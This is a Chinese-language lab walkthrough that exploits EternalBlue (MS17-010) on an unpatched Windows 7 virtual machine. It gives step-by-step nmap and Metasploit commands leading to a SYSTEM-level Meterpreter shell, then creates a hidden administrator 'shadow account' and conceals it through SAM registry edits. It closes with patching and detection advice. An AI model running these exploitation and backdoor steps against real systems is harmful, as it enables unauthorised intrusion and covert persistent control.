一、实验环境说明
- 攻击机:Kali Linux
- 目标机:Windows 7(未打 MS17-010 漏洞补丁,开启 445 端口、SMB 服务)
- 虚拟环境:VMware 虚拟机,两台主机处于同一局域网
温馨提示:本实验仅用于网络安全学习与技术研究,请勿在未经授权的设备与网络上进行操作,遵守网络安全相关法律法规。
二、永恒之蓝(MS17-010)漏洞原理简述
永恒之蓝(EternalBlue)是微软 Windows 系统SMB 协议 存在的高危远程代码执行漏洞,漏洞编号MS17-010。攻击者可利用该漏洞,在无需账号密码的情况下,远程向目标主机植入恶意程序、获取系统最高权限,当年勒索病毒 "WannaCry" 正是利用此漏洞大规模传播。Windows 7、Windows Server 2008 等早期系统受影响最为严重。
三、漏洞复现完整步骤
1. 启动虚拟机
分别开启 Kali Linux 攻击机与 Windows 7 目标机,保证两台虚拟机网络互通,推荐使用桥接模式或仅主机模式。
2. 局域网存活主机扫描
-
在 Kali 中查看本机网段
ifconfig
-
扫描局域网内所有在线主机,定位 Windows 7 目标 IP
nmap -sP 192.168.204.0/24
根据扫描结果,记录 Windows 7 主机 IP,本文示例 IP:192.168.204.151。
3. 检测目标是否存在 MS17-010 漏洞
使用 Nmap 漏洞脚本对目标进行专项检测:
bash
# 整段网段扫描
nmap --script smb-vuln-ms17-010 192.168.204.0/24
# 精准扫描单个目标(推荐)
nmap --script smb-vuln-ms17-010 192.168.204.151
4. 使用 Metasploit 漏洞利用
-
启动 MSF 渗透框架
正常启动
msfconsole
静默启动(不显示开机动画)
msfconsole -q
-
搜索永恒之蓝漏洞模块
方式1:根据漏洞编号搜索
search ms17_010
方式2:根据漏洞名称搜索
search eternalblue
-
加载漏洞利用模块并配置参数
加载永恒之蓝攻击模块
use exploit/windows/smb/ms17_010_eternalblue
设置目标主机IP
set rhosts 192.168.204.151
执行漏洞攻击
run
-
成功获取 Meterpreter 会话 攻击执行后,Kali 会主动连接目标主机,成功后进入
meterpreter交互会话,此时已获取 Windows 7 系统最高权限。
5. 进入系统命令行并解决中文乱码
-
在 Meterpreter 中调用 Windows 原生 CMD 终端
meterpreter > shell
-
解决 CMD 中文乱码问题 Windows 默认编码为 GBK(代码页 936),切换为 UTF-8 即可正常显示中文:
切换为UTF-8编码,解决乱码
chcp 65001
恢复系统默认GBK编码
chcp 936
至此,已完全控制 Windows 7 目标主机。
四、影子账户创建与深度隐藏
影子账户是黑客常用的持久化后门手段,创建隐藏账户后可长期远程登录目标主机,维持系统控制权。
1. 创建基础隐藏账户
Windows 中,用户名末尾添加 $ 符号 ,即可实现基础隐藏:使用net user命令无法查看该账户。 在目标主机 CMD 中执行:
net user lisi$ 123456 /add
- 账户名:
lisi$ - 登录密码:
123456 - 特性:
net user命令无法枚举,但lusrmgr.msc本地用户组、wmic useraccount get name、系统登录界面仍能看到该账户。
2. 提升账户权限为管理员
将新建的影子账户加入管理员组,赋予最高系统权限:
net localgroup administrators lisi$ /add
3. 注册表深度隐藏账户(完全隐身)
基础$账户仍有暴露风险,通过修改注册表可实现彻底隐藏,普通系统工具无法发现该账户:
- 在 CMD 中输入
regedit打开注册表编辑器; - 定位注册表路径:
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users; - 首先获取原始管理员账户的注册表权限项,将其权限配置复制到
lisi$账户对应的注册表项中; - 导出修改后的注册表文件,双击注册表文件完成配置导入;
- 刷新本地用户列表,此时
lusrmgr.msc、系统登录界面均无法查看到lisi$账户,影子账户完成深度隐藏。
五、实验总结
- 永恒之蓝
MS17-010是针对 SMB 服务的高危漏洞,未打补丁的 Windows 7 极易被远程提权入侵,日常使用需及时更新系统补丁、关闭闲置的 445 端口。 - 以
$结尾的账户为简易影子账户,仅能躲避net user查询,结合注册表修改可实现完全隐身,是典型的系统后门。 - 安全防护建议:
- 及时安装 Windows 系统安全补丁,重点修复 MS17-010 等高危漏洞;
- 非必要环境关闭 445、139 等 SMB 相关端口;
- 定期检查系统陌生账户、注册表 SAM 项,排查影子后门;
- 部署防火墙、终端安全软件,拦截异常外联与漏洞攻击。